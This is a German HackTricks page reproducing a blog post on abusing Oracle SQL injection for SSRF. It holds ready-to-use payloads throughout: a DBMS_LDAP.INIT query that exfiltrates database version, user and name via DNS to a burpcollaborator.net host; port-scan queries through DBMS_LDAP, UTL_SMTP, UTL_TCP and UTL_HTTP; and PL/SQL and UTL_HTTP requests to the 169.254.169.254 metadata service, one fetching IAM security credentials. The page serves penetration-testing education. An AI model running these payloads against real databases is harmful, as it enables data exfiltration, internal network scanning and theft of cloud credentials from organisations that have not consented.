Oracle injection

Support HackTricks

Diene diesem Beitrag als Wayback-Maschinenkopie des gelöschten Beitrags von https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Die Verwendung von Oracle für Out of Band HTTP- und DNS-Anfragen ist gut dokumentiert, aber als Mittel zur Exfiltration von SQL-Daten in Injektionen. Wir können diese Techniken/Funktionen immer modifizieren, um andere SSRF/XSPA durchzuführen.

Die Installation von Oracle kann wirklich schmerzhaft sein, insbesondere wenn du eine schnelle Instanz einrichten möchtest, um Befehle auszuprobieren. Mein Freund und Kollege bei Appsecco, Abhisek Datta, wies mich auf https://github.com/MaksymBilenko/docker-oracle-12c hin, das es mir ermöglichte, eine Instanz auf einer t2.large AWS Ubuntu-Maschine und Docker einzurichten.

Ich führte den Docker-Befehl mit dem --network="host"-Flag aus, damit ich Oracle als native Installation mit vollem Netzwerkzugang nachahmen konnte, für den Verlauf dieses Blogbeitrags.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Oracle-Pakete, die eine URL oder eine Hostname/Portnummer-Spezifikation unterstützen

Um Pakete und Funktionen zu finden, die eine Host- und Port-Spezifikation unterstützen, habe ich eine Google-Suche in der Oracle-Datenbank Online-Dokumentation durchgeführt. Genauer gesagt,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Die Suche ergab die folgenden Ergebnisse (nicht alle können verwendet werden, um ausgehende Netzwerke durchzuführen)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Diese grobe Suche überspringt offensichtlich Pakete wie DBMS_LDAP (das die Übergabe eines Hostnamens und einer Portnummer ermöglicht), da die Dokumentationsseite Sie einfach auf einen anderen Ort verweist. Daher kann es andere Oracle-Pakete geben, die missbraucht werden können, um ausgehende Anfragen zu stellen, die ich möglicherweise übersehen habe.

In jedem Fall lassen Sie uns einige der Pakete ansehen, die wir entdeckt und oben aufgelistet haben.

DBMS_LDAP.INIT

Das DBMS_LDAP-Paket ermöglicht den Zugriff auf Daten von LDAP-Servern. Die Funktion init() initialisiert eine Sitzung mit einem LDAP-Server und nimmt einen Hostnamen und eine Portnummer als Argument.

Diese Funktion wurde zuvor dokumentiert, um die Exfiltration von Daten über DNS zu zeigen, wie unten

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Allerdings, da die Funktion einen Hostnamen und eine Portnummer als Argumente akzeptiert, können Sie dies auch verwenden, um wie ein Portscanner zu arbeiten.

Hier sind einige Beispiele

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Ein ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. zeigt, dass der Port geschlossen ist, während ein Sitzungswert darauf hinweist, dass der Port offen ist.

UTL_SMTP

Das UTL_SMTP-Paket ist zum Versenden von E-Mails über SMTP konzipiert. Das Beispiel auf der Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine E-Mail zu senden. Für uns ist jedoch das Interessante die Möglichkeit, eine Host- und Port-Spezifikation bereitzustellen.

Ein einfaches Beispiel wird unten mit der Funktion UTL_SMTP.OPEN_CONNECTION gezeigt, mit einem Timeout von 2 Sekunden.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Eine ORA-29276: transfer timeout zeigt an, dass der Port offen ist, aber keine SMTP-Verbindung hergestellt wurde, während eine ORA-29278: SMTP transient error: 421 Service not available zeigt, dass der Port geschlossen ist.

UTL_TCP

Das UTL_TCP-Paket und seine Prozeduren und Funktionen ermöglichen TCP/IP-basierte Kommunikation mit Diensten. Wenn es für einen bestimmten Dienst programmiert ist, kann dieses Paket leicht zu einem Zugang zum Netzwerk werden oder vollständige Server-seitige Anfragen durchführen, da alle Aspekte einer TCP/IP-Verbindung kontrolliert werden können.

Das Beispiel auf der Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine rohe TCP-Verbindung herzustellen, um eine Webseite abzurufen. Wir können es ein wenig vereinfachen und verwenden, um beispielsweise Anfragen an die Metadateninstanz oder an einen beliebigen TCP/IP-Dienst zu stellen.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interessanterweise kann dieses Paket aufgrund der Möglichkeit, rohe TCP-Anfragen zu erstellen, auch verwendet werden, um den Instanz-Meta-Daten-Dienst aller Cloud-Anbieter abzufragen, da der Methodentyp und zusätzliche Header alle innerhalb der TCP-Anfrage übergeben werden können.

UTL_HTTP und Webanfragen

Vielleicht die häufigste und am weitesten dokumentierte Technik in jedem Out of Band Oracle SQL Injection-Tutorial ist das UTL_HTTP-Paket. Dieses Paket wird in der Dokumentation definiert als - Das UTL_HTTP-Paket führt Hypertext Transfer Protocol (HTTP)-Aufrufe aus SQL und PL/SQL durch. Sie können es verwenden, um über HTTP auf Daten im Internet zuzugreifen.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Sie könnten dies zusätzlich verwenden, um auch einige rudimentäre Port-Scans mit Abfragen wie durchzuführen.

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Ein ORA-12541: TNS:no listener oder ein TNS:operation timed out ist ein Zeichen dafür, dass der TCP-Port geschlossen ist, während ein ORA-29263: HTTP protocol error oder Daten ein Zeichen dafür sind, dass der Port offen ist.

Ein weiteres Paket, das ich in der Vergangenheit mit unterschiedlichem Erfolg verwendet habe, ist die GETCLOB()-Methode des HTTPURITYPE Oracle abstrakten Typs, die es Ihnen ermöglicht, mit einer URL zu interagieren und Unterstützung für das HTTP-Protokoll bietet. Die GETCLOB()-Methode wird verwendet, um die GET-Antwort von einer URL als CLOB-Datentyp abzurufen. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Support HackTricks

Last updated